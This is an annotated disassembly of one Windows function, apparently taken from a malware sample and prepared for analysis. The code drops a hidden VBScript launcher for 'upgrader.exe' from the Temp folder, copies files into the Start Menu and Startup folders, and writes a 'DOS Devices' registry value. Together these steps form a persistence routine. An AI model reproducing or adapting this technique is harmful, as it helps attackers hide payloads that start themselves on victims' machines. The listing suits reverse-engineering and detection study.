Function at 0x140010b90
Capabilities:
Check if file exists
Copy file
Get common file path
Set registry value

Disassembly:
sub rsp, 0xc08
mov qword [rsp + 0xae8], 0xfffffffffffffffe
call fcn.14000ff80
lea rcx, [rsp + 0x450]
call fcn.140010a00
nop
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140010bdc
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea r8, [0x140057038]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x898]
call fcn.14001a750
mov qword [rsp + 0xaf0], rax
mov rax, qword [rsp + 0xaf0]
mov qword [rsp + 0xaf8], rax
mov rcx, qword [rsp + 0xaf8]
call fcn.140003200
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x240]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
test rax, rax
jne 0x140010c45
mov dword [rsp + 0xb00], 1
jmp 0x140010c50
mov dword [rsp + 0xb00], 0
movzx eax, byte [rsp + 0xb00]
mov byte [rsp + 0x890], al
lea rcx, [rsp + 0x898]
call fcn.140003170
movzx eax, byte [rsp + 0x890]
test eax, eax
je 0x140010c8a
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rsp + 0x840]
call fcn.140012ab0
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x730]
call fcn.140012c20
nop
mov rax, qword [rsp + 0x730]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x730]
mov rcx, rax
call fcn.140003f00
movzx eax, al
test eax, eax
je 0x140010d1a
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0x730]
call fcn.14001a810
lea rcx, [rsp + 0x730]
call fcn.140012dd0
lea rdx, [0x140057044]
lea rcx, [rsp + 0x4f8]
call fcn.140012ab0
nop
lea r8, str..vmx
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x868]
call fcn.14001a750
nop
lea rax, [rsp + 0x520]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1a
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x140010ddc
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea rdx, [rsp + 0x520]
lea rcx, [rsp + 0x8c0]
call fcn.140012ab0
mov qword [rsp + 0xb08], rax
mov rax, qword [rsp + 0xb08]
mov qword [rsp + 0xb10], rax
lea r8, str.MicrosoftWindowsStart_MenuPrograms
mov rdx, qword [rsp + 0xb10]
lea rcx, [rsp + 0x4c8]
call fcn.14001a6f0
nop
lea rcx, [rsp + 0x8c0]
call fcn.140003170
lea r8, [rsp + 0x868]
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x8f0]
call fcn.14001ae30
mov qword [rsp + 0xb18], rax
mov rax, qword [rsp + 0xb18]
mov qword [rsp + 0xb20], rax
mov rcx, qword [rsp + 0xb20]
call fcn.140003200
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x8e8], eax
lea rcx, [rsp + 0x8f0]
call fcn.140003170
cmp dword [rsp + 0x8e8], 0
je 0x140010ef4
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea r8, [0x140057128]
lea rdx, [rsp + 0x4c8]
lea rcx, [rsp + 0x920]
call fcn.14001a750
mov qword [rsp + 0xb28], rax
mov rax, qword [rsp + 0xb28]
mov qword [rsp + 0xb30], rax
lea r8, [rsp + 0x868]
mov rdx, qword [rsp + 0xb30]
lea rcx, [rsp + 0x948]
call fcn.14001aef0
mov qword [rsp + 0xb38], rax
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0xb40], rax
mov rcx, qword [rsp + 0xb40]
call fcn.140003200
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x918], eax
lea rcx, [rsp + 0x948]
call fcn.140003170
nop
lea rcx, [rsp + 0x920]
call fcn.140003170
cmp dword [rsp + 0x918], 0
je 0x140010ff7
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea r8, [rsp + 0x4c8]
lea rdx, str.___
lea rcx, [rsp + 0x4a0]
call fcn.14001af50
nop
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400110a8
lea rcx, [rsp + 0x4a0]
call fcn.140003170
nop
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea rcx, [rsp + 0x4a0]
call fcn.140006e90
lea rax, [rax + rax + 2]
mov qword [rsp + 0xb48], rax
lea rcx, [rsp + 0x4a0]
call fcn.140003200
mov qword [rsp + 0xb50], rax
lea rcx, [rsp + 0x4f8]
call fcn.140003200
mov rcx, qword [rsp + 0xb48]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0xb50]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x4f0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140011190
mov rcx, qword [rsp + 0x4f0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x4a0]
call fcn.140003170
nop
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
mov rcx, qword [rsp + 0x4f0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x4f8]
lea rdx, [0x140057228]
lea rcx, [rsp + 0x970]
call fcn.14001af50
mov qword [rsp + 0xb58], rax
mov rax, qword [rsp + 0xb58]
mov qword [rsp + 0xb60], rax
lea r8, [0x14005721c]
mov rdx, qword [rsp + 0xb60]
lea rcx, [rsp + 0x998]
call fcn.14001a6f0
mov qword [rsp + 0xb68], rax
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0xb70], rax
lea r8, [rsp + 0x4c8]
mov rdx, qword [rsp + 0xb70]
lea rcx, [rsp + 0x9c0]
call fcn.14001aef0
mov qword [rsp + 0xb78], rax
mov rax, qword [rsp + 0xb78]
mov qword [rsp + 0xb80], rax
lea r8, [0x140056f84]
mov rdx, qword [rsp + 0xb80]
lea rcx, [rsp + 0x478]
call fcn.14001a6f0
nop
lea rcx, [rsp + 0x9c0]
call fcn.140003170
nop
lea rcx, [rsp + 0x998]
call fcn.140003170
nop
lea rcx, [rsp + 0x970]
call fcn.140003170
lea rcx, [rsp + 0x478]
call fcn.140003200
mov rcx, rax
call fcn.140035a34
lea r8, [0x140056f94]
lea rdx, [rsp + 0x4c8]
lea rcx, [rsp + 0x9f0]
call fcn.14001a750
mov qword [rsp + 0xb88], rax
mov rax, qword [rsp + 0xb88]
mov qword [rsp + 0xb90], rax
lea r8, [rsp + 0x868]
mov rdx, qword [rsp + 0xb90]
lea rcx, [rsp + 0xa18]
call fcn.14001aef0
mov qword [rsp + 0xb98], rax
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0xba0], rax
mov rcx, qword [rsp + 0xba0]
call fcn.140003200
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x240]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x140011331
mov dword [rsp + 0xba8], 1
jmp 0x14001133c
mov dword [rsp + 0xba8], 0
movzx eax, byte [rsp + 0xba8]
mov byte [rsp + 0x9e8], al
lea rcx, [rsp + 0xa18]
call fcn.140003170
nop
lea rcx, [rsp + 0x9f0]
call fcn.140003170
movzx eax, byte [rsp + 0x9e8]
test eax, eax
je 0x1400113e6
lea rcx, [rsp + 0x478]
call fcn.140003170
nop
lea rcx, [rsp + 0x4a0]
call fcn.140003170
nop
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
lea r8, str.Startup_
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0xa48]
call fcn.14001a750
mov qword [rsp + 0xbb0], rax
mov rax, qword [rsp + 0xbb0]
mov qword [rsp + 0xbb8], rax
lea r8, [rsp + 0x868]
mov rdx, qword [rsp + 0xbb8]
lea rcx, [rsp + 0xa70]
call fcn.14001aef0
mov qword [rsp + 0xbc0], rax
mov rax, qword [rsp + 0xbc0]
mov qword [rsp + 0xbc8], rax
mov rcx, qword [rsp + 0xbc8]
call fcn.140003200
mov qword [rsp + 0xbd0], rax
lea r8, [0x140056fa4]
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0xa98]
call fcn.14001a750
mov qword [rsp + 0xbd8], rax
mov rax, qword [rsp + 0xbd8]
mov qword [rsp + 0xbe0], rax
lea r8, [rsp + 0x868]
mov rdx, qword [rsp + 0xbe0]
lea rcx, [rsp + 0xac0]
call fcn.14001aef0
mov qword [rsp + 0xbe8], rax
mov rax, qword [rsp + 0xbe8]
mov qword [rsp + 0xbf0], rax
mov rcx, qword [rsp + 0xbf0]
call fcn.140003200
mov r8d, 4
mov rcx, qword [rsp + 0xbd0]
mov rdx, rcx
mov rcx, rax
call fcn.1400109c0
test eax, eax
jne 0x140011504
mov dword [rsp + 0xbf8], 1
jmp 0x14001150f
mov dword [rsp + 0xbf8], 0
movzx eax, byte [rsp + 0xbf8]
mov byte [rsp + 0xa40], al
lea rcx, [rsp + 0xac0]
call fcn.140003170
nop
lea rcx, [rsp + 0xa98]
call fcn.140003170
nop
lea rcx, [rsp + 0xa70]
call fcn.140003170
nop
lea rcx, [rsp + 0xa48]
call fcn.140003170
movzx eax, byte [rsp + 0xa40]
test eax, eax
je 0x1400115d2
lea rcx, [rsp + 0x478]
call fcn.140003170
nop
lea rcx, [rsp + 0x4a0]
call fcn.140003170
nop
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
jmp 0x14001164c
call fcn.14000ff80
call fcn.140010850
nop
lea rcx, [rsp + 0x478]
call fcn.140003170
nop
lea rcx, [rsp + 0x4a0]
call fcn.140003170
nop
lea rcx, [rsp + 0x4c8]
call fcn.140003170
nop
lea rcx, [rsp + 0x868]
call fcn.140003170
nop
lea rcx, [rsp + 0x4f8]
call fcn.140003170
nop
lea rcx, [rsp + 0x730]
call fcn.140011660
nop
lea rcx, [rsp + 0x840]
call fcn.140003170
nop
lea rcx, [rsp + 0x450]
call fcn.140003170
add rsp, 0xc08
ret